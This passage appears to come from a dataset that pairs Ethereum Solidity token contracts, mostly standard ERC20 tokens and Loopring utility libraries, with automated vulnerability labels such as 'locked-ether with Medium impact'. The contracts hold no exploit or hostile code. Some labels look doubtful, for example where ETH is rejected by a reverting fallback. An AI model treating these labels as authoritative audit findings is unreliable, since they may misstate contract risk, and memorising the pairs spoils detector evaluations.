function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract CoinFast is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CoinFast() public {
symbol = "CFS";
name = "CoinFast";
decimals = 18;
_totalSupply = 70000000000000000000000000;
balances[0x19B23B7cfCe25114E6E3C0A4A723cf5366aEf872] = _totalSupply;
Transfer(address(0), 0x19B23B7cfCe25114E6E3C0A4A723cf5366aEf872, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'BRN' 'Bruno Coin'
//
// Symbol : BRN
// Name : Bruno Coin
// Total supply: 1,000,000,000.000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract BRN is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function BRN() public {
symbol = "BRN";
name = "Bruno Coin";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-05-03
*/
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract SCcoin {
string public name;
string public symbol;
uint8 public decimals = 18; // 18 是建议的默认值
uint256 public totalSupply;
mapping (address => uint256) public balanceOf; //
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed from, uint256 value);
function SCcoin(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | No vulnerabilities found |
/**
*Submitted for verification at Etherscan.io on 2021-12-13
*/
pragma solidity ^0.5.0;
// Welcome to Bankai Iseda ERC20 Token. This is the First Token designed for Bankai Iseda Universe. And will be constantly updated for further development.
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract BankaiIseda is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "BankaiIseda";
symbol = "BI";
decimals = 18;
_totalSupply = 100000000000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | No vulnerabilities found |
/**
*Submitted for verification at Etherscan.io on 2021-04-25
*/
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// CZ TOKEN CONTRACT
//
// Symbol : CZ
// Name : ChangpengZhao Token
// Total supply : 100000000
// Decimals : 2
// Owner Account : 0x8164B0926821975acbE8A76aAD4e458f77e361B8
// Website : https://binance.com
// Telegram : https://t.me/changpengzhaotoken
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract CZToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "cz";
name = "ChangPengZhao Token";
decimals = 2;
_totalSupply = 10000000000;
balances[0x8164B0926821975acbE8A76aAD4e458f77e361B8] = _totalSupply;
emit Transfer(address(0), 0x8164B0926821975acbE8A76aAD4e458f77e361B8, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.4.21;
/// @title Utility Functions for address
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d7bcb8b9b0bbbeb6b9b097bbb8b8a7a5beb9b0f9b8a5b0">[email protected]</a>>
library StringUtil {
function stringToBytes12(string str)
internal
pure
returns (bytes12 result)
{
assembly {
result := mload(add(str, 32))
}
}
function stringToBytes10(string str)
internal
pure
returns (bytes10 result)
{
assembly {
result := mload(add(str, 32))
}
}
/// check length >= min && <= max
function checkStringLength(string name, uint min, uint max)
internal
pure
returns (bool)
{
bytes memory temp = bytes(name);
return temp.length >= min && temp.length <= max;
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Utility Functions for address
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c8aca9a6a1ada488a4a7a7b8baa1a6afe6a7baaf">[email protected]</a>>
library AddressUtil {
function isContract(address addr)
internal
view
returns (bool)
{
if (addr == 0x0) {
return false;
} else {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title ERC20 Token Interface
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="5c383d323539301c3033332c2e35323b72332e3b">[email protected]</a>>
contract ERC20 {
function balanceOf(address who) view public returns (uint256);
function allowance(address owner, address spender) view public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Utility Functions for uint
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="99fdf8f7f0fcf5d9f5f6f6e9ebf0f7feb7f6ebfe">[email protected]</a>>
library MathUint {
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function tolerantSub(uint a, uint b) internal pure returns (uint c) {
return (a >= b) ? a - b : 0;
}
/// @dev calculate the square of Coefficient of Variation (CV)
/// https://en.wikipedia.org/wiki/Coefficient_of_variation
function cvsquare(
uint[] arr,
uint scale
)
internal
pure
returns (uint)
{
uint len = arr.length;
require(len > 1);
require(scale > 0);
uint avg = 0;
for (uint i = 0; i < len; i++) {
avg += arr[i];
}
avg = avg / len;
if (avg == 0) {
return 0;
}
uint cvs = 0;
uint s;
uint item;
for (i = 0; i < len; i++) {
item = arr[i];
s = item > avg ? item - avg : avg - item;
cvs += mul(s, s);
}
return ((mul(mul(cvs, scale), scale) / avg) / avg) / (len - 1);
}
}
/// @title ERC20 Token Implementation
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="bcd8ddd2d5d9d0fcd0d3d3ccced5d2db92d3cedb">[email protected]</a>>
contract ERC20Token is ERC20 {
using MathUint for uint;
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply_;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function ERC20Token(
string _name,
string _symbol,
uint8 _decimals,
uint _totalSupply,
address _firstHolder
)
public
{
require(bytes(_name).length > 0);
require(bytes(_symbol).length > 0);
require(_totalSupply > 0);
require(_firstHolder != 0x0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply_ = _totalSupply;
balances[_firstHolder] = totalSupply_;
}
function () payable public
{
revert();
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner)
public
view
returns (uint256 balance)
{
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Ownable
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
function Ownable() public {
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// newOwner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != 0x0);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @title Claimable
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable {
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
